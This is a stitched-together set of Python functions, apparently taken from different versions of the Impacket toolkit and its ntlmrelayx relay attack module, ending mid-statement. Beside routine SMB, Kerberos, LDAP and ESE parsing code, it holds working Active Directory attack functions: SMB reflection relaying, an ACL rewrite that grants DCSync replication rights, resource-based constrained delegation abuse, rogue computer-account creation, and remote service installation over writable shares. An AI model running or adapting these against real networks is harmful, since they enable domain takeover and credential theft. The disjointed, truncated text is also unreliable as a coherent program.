def hBaseRegEnumValue(dce, hKey, dwIndex, dataLen=256): request = BaseRegEnumValue() request['hKey'] = hKey request['dwIndex'] = dwIndex retries = 1 # We need to be aware the size might not be enough, so let's catch ERROR_MORE_DATA exception while True: try: # Only the maximum length field of the lpValueNameIn is used to determine the buffer length to be allocated # by the service. Specify a string with a zero length but maximum length set to the largest buffer size # needed to hold the value names. request.fields['lpValueNameIn'].fields['MaximumLength'] = dataLen*2 request.fields['lpValueNameIn'].fields['Data'].fields['Data'].fields['MaximumCount'] = dataLen request['lpData'] = b' ' * dataLen request['lpcbData'] = dataLen request['lpcbLen'] = dataLen resp = dce.request(request) except DCERPCSessionError as e: if retries > 1: LOG.debug('Too many retries when calling hBaseRegEnumValue, aborting') raise if e.get_error_code() == system_errors.ERROR_MORE_DATA: # We need to adjust the size retries +=1 dataLen = e.get_packet()['lpcbData'] continue else: raise else: break return resp
def hBaseRegQueryValue(dce, hKey, lpValueName, dataLen=512): request = BaseRegQueryValue() request['hKey'] = hKey request['lpValueName'] = checkNullString(lpValueName) retries = 1 # We need to be aware the size might not be enough, so let's catch ERROR_MORE_DATA exception while True: try: request['lpData'] = b' ' * dataLen request['lpcbData'] = dataLen request['lpcbLen'] = dataLen resp = dce.request(request) except DCERPCSessionError as e: if retries > 1: LOG.debug('Too many retries when calling hBaseRegQueryValue, aborting') raise if e.get_error_code() == system_errors.ERROR_MORE_DATA: # We need to adjust the size dataLen = e.get_packet()['lpcbData'] continue else: raise else: break # Returns # ( dataType, data ) return resp['lpType'], unpackValue(resp['lpType'], resp['lpData'])
def activeConnectionsWatcher(server): while True: # This call blocks until there is data, so it doesn't loop endlessly target, port, scheme, userName, client, data = activeConnections.get() # ToDo: Careful. Dicts are not thread safe right? if server.activeRelays.has_key(target) is not True: server.activeRelays[target] = {} if server.activeRelays[target].has_key(port) is not True: server.activeRelays[target][port] = {} if server.activeRelays[target][port].has_key(userName) is not True: LOG.info('SOCKS: Adding %s@%s(%s) to active SOCKS connection. Enjoy' % (userName, target, port)) server.activeRelays[target][port][userName] = {} # This is the protocolClient. Needed because we need to access the killConnection from time to time. # Inside this instance, you have the session attribute pointing to the relayed session. server.activeRelays[target][port][userName]['protocolClient'] = client server.activeRelays[target][port][userName]['inUse'] = False server.activeRelays[target][port][userName]['data'] = data # Do we have admin access in this connection? try: LOG.debug("Checking admin status for user %s" % str(userName)) isAdmin = client.isAdmin() server.activeRelays[target][port][userName]['isAdmin'] = isAdmin except Exception as e: # Method not implemented server.activeRelays[target][port][userName]['isAdmin'] = 'N/A' LOG.debug("isAdmin returned: %s" % server.activeRelays[target][port][userName]['isAdmin']) # Just for the CHALLENGE data, we're storing this general server.activeRelays[target][port]['data'] = data # Let's store the protocol scheme, needed be used later when trying to find the right socks relay server to use server.activeRelays[target][port]['scheme'] = scheme else: LOG.info('Relay connection for %s at %s(%d) already exists. Discarding' % (userName, target, port)) client.killConnection()
def sendReceive(data, host, kdcHost): if kdcHost is None: targetHost = host else: targetHost = kdcHost messageLen = struct.pack('!i', len(data)) LOG.debug('Trying to connect to KDC at %s' % targetHost) try: af, socktype, proto, canonname, sa = socket.getaddrinfo(targetHost, 88, 0, socket.SOCK_STREAM)[0] s = socket.socket(af, socktype, proto) s.connect(sa) except socket.error as e: raise socket.error("Connection error (%s:%s)" % (targetHost, 88), e) s.sendall(messageLen + data) recvDataLen = struct.unpack('!i', s.recv(4))[0] r = s.recv(recvDataLen) while len(r) < recvDataLen: r += s.recv(recvDataLen-len(r)) try: krbError = KerberosError(packet = decoder.decode(r, asn1Spec = KRB_ERROR())[0]) except: return r if krbError.getErrorCode() != constants.ErrorCodes.KDC_ERR_PREAUTH_REQUIRED.value: raise krbError return r
def transferResponse(self): data = self.relaySocket.recv(self.packetSize) headerSize = data.find(EOL+EOL) headers = self.getHeaders(data) try: bodySize = int(headers['content-length']) readSize = len(data) # Make sure we send the entire response, but don't keep it in memory self.socksSocket.send(data) while readSize < bodySize + headerSize + 4: data = self.relaySocket.recv(self.packetSize) readSize += len(data) self.socksSocket.send(data) except KeyError: try: if headers['transfer-encoding'] == 'chunked': # Chunked transfer-encoding, bah LOG.debug('Server sent chunked encoding - transferring') self.transferChunked(data, headers) else: # No body in the response, send as-is self.socksSocket.send(data) except KeyError: # No body in the response, send as-is self.socksSocket.send(data)
def initConnection(self): self.connect() #This is copied from tds.py resp = self.preLogin() if resp['Encryption'] == TDS_ENCRYPT_REQ or resp['Encryption'] == TDS_ENCRYPT_OFF: LOG.debug("Encryption required, switching to TLS") # Switching to TLS now ctx = SSL.Context(SSL.TLSv1_METHOD) ctx.set_cipher_list('RC4, AES256') tls = SSL.Connection(ctx,None) tls.set_connect_state() while True: try: tls.do_handshake() except SSL.WantReadError: data = tls.bio_read(4096) self.sendTDS(TDS_PRE_LOGIN, data,0) tds = self.recvTDS() tls.bio_write(tds['Data']) else: break # SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement, # Transport Layer Security(TLS), limit data fragments to 16k in size. self.packetSize = 16*1024-1 self.tlsSocket = tls self.resp = resp return True
def toTGS(self, newSPN=None): tgs_rep = TGS_REP() tgs_rep['pvno'] = 5 tgs_rep['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REP.value) tgs_rep['crealm'] = self['server'].realm['data'] # Fake EncryptedData tgs_rep['enc-part'] = noValue tgs_rep['enc-part']['etype'] = 1 tgs_rep['enc-part']['cipher'] = '' seq_set(tgs_rep, 'cname', self['client'].toPrincipal().components_to_asn1) ticket = types.Ticket() ticket.from_asn1(self.ticket['data']) if newSPN is not None: if newSPN.upper() != str(ticket.service_principal).upper(): LOG.debug('Changing sname from %s to %s and hoping for the best' % (ticket.service_principal, newSPN) ) ticket.service_principal = types.Principal(newSPN, type=int(ticket.service_principal.type)) seq_set(tgs_rep,'ticket', ticket.to_asn1) cipher = crypto._enctype_table[self['key']['keytype']]() tgs = dict() tgs['KDC_REP'] = encoder.encode(tgs_rep) tgs['cipher'] = cipher tgs['sessionKey'] = crypto.Key(cipher.enctype, str(self['key']['keyvalue'])) return tgs
def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus = False) if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP']) #TODO: Check if a cache is better because there is no way to know which target was selected for this victim # except for relying on the targetprocessor selecting the same target unless a relay was already done self.target = self.targetprocessor.getTarget() LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], self.target.scheme, self.target.netloc)) try: if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0: extSec = False else: if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True #Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData(connId, connData) return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
def validatePrivileges(self, uname, domainDumper): # Find the user's DN membersids = [] sidmapping = {} privs = { 'create': False, # Whether we can create users 'createIn': None, # Where we can create users 'escalateViaGroup': False, # Whether we can escalate via a group 'escalateGroup': None, # The group we can escalate via 'aclEscalate': False, # Whether we can escalate via ACL on the domain object 'aclEscalateIn': None # The object which ACL we can edit } self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(uname), attributes=['objectSid', 'primaryGroupId']) user = self.client.entries[0] usersid = user['objectSid'].value sidmapping[usersid] = user.entry_dn membersids.append(usersid) # The groups the user is a member of self.client.search(domainDumper.root, '(member:1.2.840.113556.1.4.1941:=%s)' % escape_filter_chars(user.entry_dn), attributes=['name', 'objectSid']) LOG.debug('User is a member of: %s' % self.client.entries) for entry in self.client.entries: sidmapping[entry['objectSid'].value] = entry.entry_dn membersids.append(entry['objectSid'].value) # Also search by primarygroupid # First get domain SID self.client.search(domainDumper.root, '(objectClass=domain)', attributes=['objectSid']) domainsid = self.client.entries[0]['objectSid'].value gid = user['primaryGroupId'].value # Now search for this group by SID self.client.search(domainDumper.root, '(objectSid=%s-%d)' % (domainsid, gid), attributes=['name', 'objectSid', 'distinguishedName']) group = self.client.entries[0] LOG.debug('User is a member of: %s' % self.client.entries) # Add the group sid of the primary group to the list sidmapping[group['objectSid'].value] = group.entry_dn membersids.append(group['objectSid'].value) controls = security_descriptor_control(sdflags=0x05) # Query Owner and Dacl # Now we have all the SIDs applicable to this user, now enumerate the privileges of domains and OUs entries = self.client.extend.standard.paged_search(domainDumper.root, '(|(objectClass=domain)(objectClass=organizationalUnit))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True) self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper) # Also get the privileges on the default Users container entries = self.client.extend.standard.paged_search(domainDumper.root, '(&(cn=Users)(objectClass=container))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True) self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper) # Interesting groups we'd like to be a member of, in order of preference interestingGroups = [ '%s-%d' % (domainsid, 519), # Enterprise admins '%s-%d' % (domainsid, 512), # Domain admins 'S-1-5-32-544', # Built-in Administrators 'S-1-5-32-551', # Backup operators 'S-1-5-32-548', # Account operators ] privs['escalateViaGroup'] = False for group in interestingGroups: self.client.search(domainDumper.root, '(objectSid=%s)' % group, attributes=['nTSecurityDescriptor', 'objectClass']) groupdata = self.client.response self.checkSecurityDescriptors(groupdata, privs, membersids, sidmapping, domainDumper) if privs['escalateViaGroup']: # We have a result - exit the loop break return (usersid, privs)
def sendReceive(data, host, kdcHost): if kdcHost is None: targetHost = host else: targetHost = kdcHost messageLen = struct.pack('!i', len(data)) LOG.debug('Trying to connect to KDC at %s' % targetHost) s = socket.socket() s.connect((targetHost, 88)) s.sendall(messageLen + data) recvDataLen = struct.unpack('!i', s.recv(4))[0] r = s.recv(recvDataLen) while len(r) < recvDataLen: r += s.recv(recvDataLen-len(r)) try: krbError = KerberosError(packet = decoder.decode(r, asn1Spec = KRB_ERROR())[0]) except: return r if krbError.getErrorCode() != constants.ErrorCodes.KDC_ERR_PREAUTH_REQUIRED.value: raise krbError return r
def skipAuthentication(self): LOG.debug('Wrapping client connection in TLS/SSL') self.wrapClientConnection() if not HTTPSocksRelay.skipAuthentication(self): # Shut down TLS connection self.socksSocket.shutdown() return False return True
def handle_one_request(self): try: SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self) except KeyboardInterrupt: raise except Exception, e: LOG.error('Exception in HTTP request handler: %s' % e) LOG.debug(traceback.format_exc())
def initConnection(self): self.session = imaplib.IMAP4_SSL(self.targetHost,self.targetPort) self.authTag = self.session._new_tag() LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) if 'AUTH=NTLM' not in self.session.capabilities: LOG.error('IMAP server does not support NTLM authentication!') return False return True
def handle_one_request(self): try: http.server.SimpleHTTPRequestHandler.handle_one_request(self) except KeyboardInterrupt: raise except Exception as e: LOG.debug("Exception:", exc_info=True) LOG.error('Exception in HTTP request handler: %s' % e)
def install(self): if self.connection.isGuestSession(): LOG.critical("Authenticated as Guest. Aborting") self.connection.logoff() del self.connection else: fileCopied = False serviceCreated = False # Do the stuff here try: # Let's get the shares shares = self.getShares() self.share = self.findWritableShare(shares) if self.share is None: return False self.copy_file(self.__exeFile ,self.share,self.__binary_service_name) fileCopied = True svcManager = self.openSvcManager() if svcManager != 0: serverName = self.connection.getServerName() if self.share.lower() == 'admin$': path = '%systemroot%' else: if serverName != '': path = '\\\\%s\\%s' % (serverName, self.share) else: path = '\\\\127.0.0.1\\' + self.share service = self.createService(svcManager, self.share, path) serviceCreated = True if service != 0: # Start service LOG.info('Starting service %s.....' % self.__service_name) try: scmr.hRStartServiceW(self.rpcsvc, service) except: pass scmr.hRCloseServiceHandle(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, svcManager) return True except Exception as e: LOG.critical("Error performing the installation, cleaning up: %s" %e) LOG.debug("Exception", exc_info=True) try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass if fileCopied is True: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: pass if serviceCreated is True: try: scmr.hRDeleteService(self.rpcsvc, service) except: pass return False
def delegateAttack(self, usersam, targetsam, domainDumper): global delegatePerformed if targetsam in delegatePerformed: LOG.info('Delegate attack already performed for this computer, skipping') return if not usersam: usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper) self.config.escalateuser = usersam # Get escalate user sid result = self.getUserInfo(domainDumper, usersam) if not result: LOG.error('User to escalate does not exist!') return escalate_sid = str(result[1]) # Get target computer DN result = self.getUserInfo(domainDumper, targetsam) if not result: LOG.error('Computer to modify does not exist! (wrong domain?)') return target_dn = result[0] self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) targetuser = None for entry in self.client.response: if entry['type'] != 'searchResEntry': continue targetuser = entry if not targetuser: LOG.error('Could not query target user properties') return try: sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0]) LOG.debug('Currently allowed sids:') for ace in sd['Dacl'].aces: LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical()) except IndexError: # Create DACL manually sd = create_empty_sd() sd['Dacl'].aces.append(create_allow_ace(escalate_sid)) self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]}) if self.client.result['result'] == 0: LOG.info('Delegation rights modified succesfully!') LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam) delegatePerformed.append(targetsam) else: if self.client.result['result'] == 50: LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) elif self.client.result['result'] == 19: LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) else: LOG.error('The server returned an error: %s', self.client.result['message']) return
def __init__(self, url, baseDN='', dstIp=None): """ LDAPConnection class :param string url: :param string baseDN: :param string dstIp: :return: a LDAP instance, if not raises a LDAPSessionError exception """ self._SSL = False self._dstPort = 0 self._dstHost = 0 self._socket = None self._baseDN = baseDN self._messageId = 1 self._dstIp = dstIp if url.startswith('ldap://'): self._dstPort = 389 self._SSL = False self._dstHost = url[7:] elif url.startswith('ldaps://'): self._dstPort = 636 self._SSL = True self._dstHost = url[8:] elif url.startswith('gc://'): self._dstPort = 3268 self._SSL = False self._dstHost = url[5:] else: raise LDAPSessionError(errorString="Unknown URL prefix: '%s'" % url) # Try to connect if self._dstIp is not None: targetHost = self._dstIp else: targetHost = self._dstHost LOG.debug('Connecting to %s, port %d, SSL %s' % (targetHost, self._dstPort, self._SSL)) try: af, socktype, proto, _, sa = socket.getaddrinfo(targetHost, self._dstPort, 0, socket.SOCK_STREAM)[0] self._socket = socket.socket(af, socktype, proto) except socket.error as e: raise socket.error('Connection error (%s:%d)' % (targetHost, 88), e) if self._SSL is False: self._socket.connect(sa) else: # Switching to TLS now ctx = SSL.Context(SSL.TLSv1_METHOD) # ctx.set_cipher_list('RC4') self._socket = SSL.Connection(ctx, self._socket) self._socket.connect(sa) self._socket.do_handshake()
def skipAuthentication(self): LOG.debug('Wrapping IMAP client connection in TLS/SSL') self.wrapClientConnection() try: if not IMAPSocksRelay.skipAuthentication(self): # Shut down TLS connection self.socksSocket.shutdown() return False except Exception, e: LOG.debug('IMAPS: %s' % str(e)) return False
def skipAuthentication(self): # See if the user provided authentication data = self.socksSocket.recv(self.packetSize) # Get headers from data headerDict = self.getHeaders(data) try: creds = headerDict['authorization'] if 'Basic' not in creds: raise KeyError() basicAuth = base64.b64decode(creds[6:]) self.username = basicAuth.split(':')[0].upper() if '@' in self.username: # Workaround for clients which specify users with the full FQDN # such as ruler user, domain = self.username.split('@', 1) # Currently we only use the first part of the FQDN # this might break stuff on tools that do use an FQDN # where the domain NETBIOS name is not equal to the part # before the first . self.username = '******' % (domain.split('.')[0], user) # Check if we have a connection for the user if self.activeRelays.has_key(self.username): # Check the connection is not inUse if self.activeRelays[self.username]['inUse'] is True: LOG.error('HTTP: Connection for %s@%s(%s) is being used at the moment!' % ( self.username, self.targetHost, self.targetPort)) return False else: LOG.info('HTTP: Proxying client session for %s@%s(%s)' % ( self.username, self.targetHost, self.targetPort)) self.session = self.activeRelays[self.username]['protocolClient'].session else: LOG.error('HTTP: No session for %s@%s(%s) available' % ( self.username, self.targetHost, self.targetPort)) return False except KeyError: # User didn't provide authentication yet, prompt for it LOG.debug('No authentication provided, prompting for basic authentication') reply = ['HTTP/1.1 401 Unauthorized','WWW-Authenticate: Basic realm="ntlmrelayx - provide a DOMAIN/username"','Connection: close','',''] self.socksSocket.send(EOL.join(reply)) return False # When we are here, we have a session # Point our socket to the sock attribute of HTTPConnection # (contained in the session), which contains the socket self.relaySocket = self.session.sock # Send the initial request to the server tosend = self.prepareRequest(data) self.relaySocket.send(tosend) # Send the response back to the client self.transferResponse() return True
def aclAttack(self, userDn, domainDumper): global alreadyEscalated if alreadyEscalated: LOG.error('ACL attack already performed. Refusing to continue') return # Dictionary for restore data restoredata = {} # Query for the sid of our user self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid']) entry = self.client.entries[0] username = entry['sAMAccountName'].value usersid = entry['objectSid'].value LOG.debug('Found sid for user %s: %s' % (username, usersid)) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) alreadyEscalated = True LOG.info('Querying domain security descriptor') self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) # Save old SD for restore purposes restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') restoredata['target_sid'] = usersid secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid)) secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid)) dn = entry.entry_dn data = secDesc.getData() self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls) if self.client.result['result'] == 0: alreadyEscalated = True LOG.info('Success! User %s now has Replication-Get-Changes-All privileges on the domain', username) LOG.info('Try using DCSync with secretsdump.py and this user :)') # Query the SD again to see what AD made of it self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] newSD = entry['nTSecurityDescriptor'].raw_values[0] # Save this to restore the SD later on restoredata['target_dn'] = dn restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8') restoredata['success'] = True self.writeRestoreData(restoredata, dn) return True else: LOG.error('Error when updating ACL: %s' % self.client.result) return False
def getPage(self, pageNum): LOG.debug("Trying to fetch page %d (0x%x)" % (pageNum, (pageNum+1)*self.__pageSize)) self.__DB.seek((pageNum+1)*self.__pageSize, 0) data = self.__DB.read(self.__pageSize) while len(data) < self.__pageSize: remaining = self.__pageSize - len(data) data += self.__DB.read(remaining) # Special case for the first page if pageNum <= 0: return data else: return ESENT_PAGE(self.__DBHeader, data)
def __getitem__(self, key): if key == 'Data': try: return ''.join([chr(i) for i in self.fields[key]]) except ValueError: # We might have Unicode chars in here, let's use unichr instead LOG.debug('ValueError exception on %s' % self.fields[key]) LOG.debug('Switching to unichr()') return ''.join([unichr(i) for i in self.fields[key]]) else: return NDR.__getitem__(self,key)
def addComputer(self, parent, domainDumper): """ Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can also be an OU or other container where we have write privileges """ global alreadyAddedComputer if alreadyAddedComputer: LOG.error('New computer already added. Refusing to add another') return # Random password newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) # Get the domain we are in domaindn = domainDumper.root domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] # Random computername newComputer = (''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper() computerHostname = newComputer[:-1] newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8') # Default computer SPNs spns = [ 'HOST/%s' % computerHostname, 'HOST/%s.%s' % (computerHostname, domain), 'RestrictedKrbHost/%s' % computerHostname, 'RestrictedKrbHost/%s.%s' % (computerHostname, domain), ] ucd = { 'dnsHostName': '%s.%s' % (computerHostname, domain), 'userAccountControl': 4096, 'servicePrincipalName': spns, 'sAMAccountName': newComputer, 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le') } LOG.debug('New computer info %s', ucd) LOG.info('Attempting to create computer in: %s', parent) res = self.client.add(newComputerDn.decode('utf-8'), ['top','person','organizationalPerson','user','computer'], ucd) if not res: # Adding computers requires LDAPS if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: LOG.error('Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.') else: LOG.error('Failed to add a new computer: %s' % str(self.client.result)) return False else: LOG.info('Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword)) alreadyAddedComputer = True # Return the SAM name return newComputer
def skipAuthentication(self): LOG.debug('Wrapping IMAP client connection in TLS/SSL') self.wrapClientConnection() try: if not IMAPSocksRelay.skipAuthentication(self): # Shut down TLS connection self.socksSocket.shutdown() return False except Exception as e: LOG.debug('IMAPS: %s' % str(e)) return False # Change our outgoing socket to the SSL object of IMAP4_SSL self.relaySocket = self.session.sslobj return True
def __getBlock(self, offset): self.fd.seek(4096+offset,0) sizeBytes = self.fd.read(4) data = sizeBytes + self.fd.read(unpack('<l',sizeBytes)[0]*-1-4) if len(data) == 0: return None else: block = REG_HBINBLOCK(data) if StructMappings.has_key(block['Data'][:2]): return StructMappings[block['Data'][:2]](block['Data']) else: LOG.debug("Unknown type 0x%s" % block['Data'][:2]) return block return None
def sendReceive(data, host, kdcHost): if kdcHost is None: targetHost = host else: targetHost = kdcHost messageLen = struct.pack('!i', len(data)) LOG.debug('Trying to connect to KDC at %s' % targetHost) try: af, socktype, proto, canonname, sa = socket.getaddrinfo(targetHost, 88, 0, socket.SOCK_STREAM)[0] s = socket.socket(af, socktype, proto) s.connect(sa) except socket.error, e: raise socket.error("Connection error (%s:%s)" % (targetHost, 88), e)
def tunnelConnection(self): # For the rest of the remaining packets, we should just read and send. Except when trying to log out, # that's forbidden! ;) try: while True: # 1. Get Data from client tds = self.recvTDS() # 2. Send it to the relayed session self.session.sendTDS(tds['Type'], tds['Data'], 0) # 3. Get the target's answer tds = self.session.recvTDS() # 4. Send it back to the client self.sendTDS(tds['Type'], tds['Data'], 0) except Exception: # Probably an error here LOG.debug('Exception:', exc_info=True) return True
def generateImpacketCert(certname='/tmp/impacket.crt'): # Create a private key pkey = crypto.PKey() pkey.generate_key(crypto.TYPE_RSA, 2048) # Create the certificate cert = crypto.X509() cert.gmtime_adj_notBefore(0) # Valid for 5 years cert.gmtime_adj_notAfter(60*60*24*365*5) subj = cert.get_subject() subj.CN = 'impacket' cert.set_pubkey(pkey) cert.sign(pkey, "sha256") # We write both from the same file with open(certname, 'w') as certfile: certfile.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, pkey).decode('utf-8')) certfile.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode('utf-8')) LOG.debug('Wrote certificate to %s' % certname)
def __init__(self, url, baseDN='dc=net', dstIp=None): """ LDAPConnection class :param string url: :param string baseDN: :param string dstIp: :return: a LDAP instance, if not raises a LDAPSessionError exception """ self._SSL = False self._dstPort = 0 self._dstHost = 0 self._socket = None self._baseDN = baseDN self._messageId = 1 self._dstIp = dstIp if url.startswith("ldap://"): self._dstPort = 389 self._SSL = False self._dstHost = url[7:] elif url.startswith("ldaps://"): # raise LDAPSessionError(errorString = 'LDAPS still not supported') self._dstPort = 636 self._SSL = True self._dstHost = url[8:] else: raise LDAPSessionError(errorString='Unknown URL prefix %s' % url) # Try to connect if self._dstIp is not None: targetHost = self._dstIp else: targetHost = self._dstHost LOG.debug('Connecting to %s, port %s, SSL %s' % (targetHost, self._dstPort, self._SSL)) try: af, socktype, proto, canonname, sa = socket.getaddrinfo(targetHost, self._dstPort, 0, socket.SOCK_STREAM)[0] self._socket = socket.socket(af, socktype, proto) except socket.error, e: raise socket.error("Connection error (%s:%s)" % (targetHost, 88), e)
def tunnelConnection(self): keyword = '' tag = '' while True: try: data = self.socksSocket.recv(self.packetSize) except Exception, e: # Socks socket (client) closed connection or something else. Not fatal for killing the existing relay print keyword, tag LOG.debug('IMAP: sockSocket recv(): %s' % (str(e))) break # If this returns with an empty string, it means the socket was closed if data == '': break # Set the new keyword, unless it is false, then break out of the function result = self.processTunnelData(keyword, tag, data) if result is False: break # If its not false, it's a tuple with the keyword and tag keyword, tag = result
def __tagToRecord(self, cursor, tag): # So my brain doesn't forget, the data record is composed of: # Header # Fixed Size Data (ID < 127) # The easiest to parse. Their size is fixed in the record. You can get its size # from the Column Record, field SpaceUsage # Variable Size Data (127 < ID < 255) # At VariableSizeOffset you get an array of two bytes per variable entry, pointing # to the length of the value. Values start at: # numEntries = LastVariableDataType - 127 # VariableSizeOffset + numEntries * 2 (bytes) # Tagged Data ( > 255 ) # After the Variable Size Value, there's more data for the tagged values. # Right at the beginning there's another array (taggedItems), pointing to the # values, size. # # The interesting thing about this DB records is there's no need for all the columns to be there, hence # saving space. That's why I got over all the columns, and if I find data (of any type), i assign it. If # not, the column's empty. # # There are a lot of caveats in the code, so take your time to explore it. # # ToDo: Better complete this description # record = OrderedDict() taggedItems = OrderedDict() taggedItemsParsed = False dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(tag) #dataDefinitionHeader.dump() variableDataBytesProcessed = ( dataDefinitionHeader['LastVariableDataType'] - 127) * 2 prevItemLen = 0 tagLen = len(tag) fixedSizeOffset = len(dataDefinitionHeader) variableSizeOffset = dataDefinitionHeader['VariableSizeOffset'] columns = cursor['TableData']['Columns'] for column in columns.keys(): columnRecord = columns[column]['Record'] #columnRecord.dump() if columnRecord['Identifier'] <= dataDefinitionHeader[ 'LastFixedSize']: # Fixed Size column data type, still available data record[column] = tag[ fixedSizeOffset:][:columnRecord['SpaceUsage']] fixedSizeOffset += columnRecord['SpaceUsage'] elif 127 < columnRecord['Identifier'] <= dataDefinitionHeader[ 'LastVariableDataType']: # Variable data type index = columnRecord['Identifier'] - 127 - 1 itemLen = unpack('<H', tag[variableSizeOffset + index * 2:][:2])[0] if itemLen & 0x8000: # Empty item itemLen = prevItemLen record[column] = None else: itemValue = tag[variableSizeOffset + variableDataBytesProcessed:][:itemLen - prevItemLen] record[column] = itemValue #if columnRecord['Identifier'] <= dataDefinitionHeader['LastVariableDataType']: variableDataBytesProcessed += itemLen - prevItemLen prevItemLen = itemLen elif columnRecord['Identifier'] > 255: # Have we parsed the tagged items already? if taggedItemsParsed is False and ( variableDataBytesProcessed + variableSizeOffset) < tagLen: index = variableDataBytesProcessed + variableSizeOffset #hexdump(tag[index:]) endOfVS = self.__pageSize firstOffsetTag = ( unpack('<H', tag[index + 2:][:2])[0] & 0x3fff ) + variableDataBytesProcessed + variableSizeOffset while True: taggedIdentifier = unpack('<H', tag[index:][:2])[0] index += 2 taggedOffset = (unpack('<H', tag[index:][:2])[0] & 0x3fff) # As of Windows 7 and later ( version 0x620 revision 0x11) the # tagged data type flags are always present if self.__DBHeader['Version'] == 0x620 and self.__DBHeader[ 'FileFormatRevision'] >= 17 and self.__DBHeader[ 'PageSize'] > 8192: flagsPresent = 1 else: flagsPresent = (unpack('<H', tag[index:][:2])[0] & 0x4000) index += 2 if taggedOffset < endOfVS: endOfVS = taggedOffset taggedItems[taggedIdentifier] = (taggedOffset, tagLen, flagsPresent) #print "ID: %d, Offset:%d, firstOffset:%d, index:%d, flag: 0x%x" % (taggedIdentifier, taggedOffset,firstOffsetTag,index, flagsPresent) if index >= firstOffsetTag: # We reached the end of the variable size array break # Calculate length of variable items # Ugly.. should be redone prevKey = taggedItems.keys()[0] for i in range(1, len(taggedItems)): offset0, length, flags = taggedItems[prevKey] offset, _, _ = taggedItems.items()[i][1] taggedItems[prevKey] = (offset0, offset - offset0, flags) #print "ID: %d, Offset: %d, Len: %d, flags: %d" % (prevKey, offset0, offset-offset0, flags) prevKey = taggedItems.keys()[i] taggedItemsParsed = True # Tagged data type if taggedItems.has_key(columnRecord['Identifier']): offsetItem = variableDataBytesProcessed + variableSizeOffset + taggedItems[ columnRecord['Identifier']][0] itemSize = taggedItems[columnRecord['Identifier']][1] # If item have flags, we should skip them if taggedItems[columnRecord['Identifier']][2] > 0: itemFlag = ord(tag[offsetItem:offsetItem + 1]) offsetItem += 1 itemSize -= 1 else: itemFlag = 0 #print "ID: %d, itemFlag: 0x%x" %( columnRecord['Identifier'], itemFlag) if itemFlag & (TAGGED_DATA_TYPE_COMPRESSED): LOG.error('Unsupported tag column: %s, flag:0x%x' % (column, itemFlag)) record[column] = None elif itemFlag & TAGGED_DATA_TYPE_MULTI_VALUE: # ToDo: Parse multi-values properly LOG.debug( 'Multivalue detected in column %s, returning raw results' % (column)) record[column] = 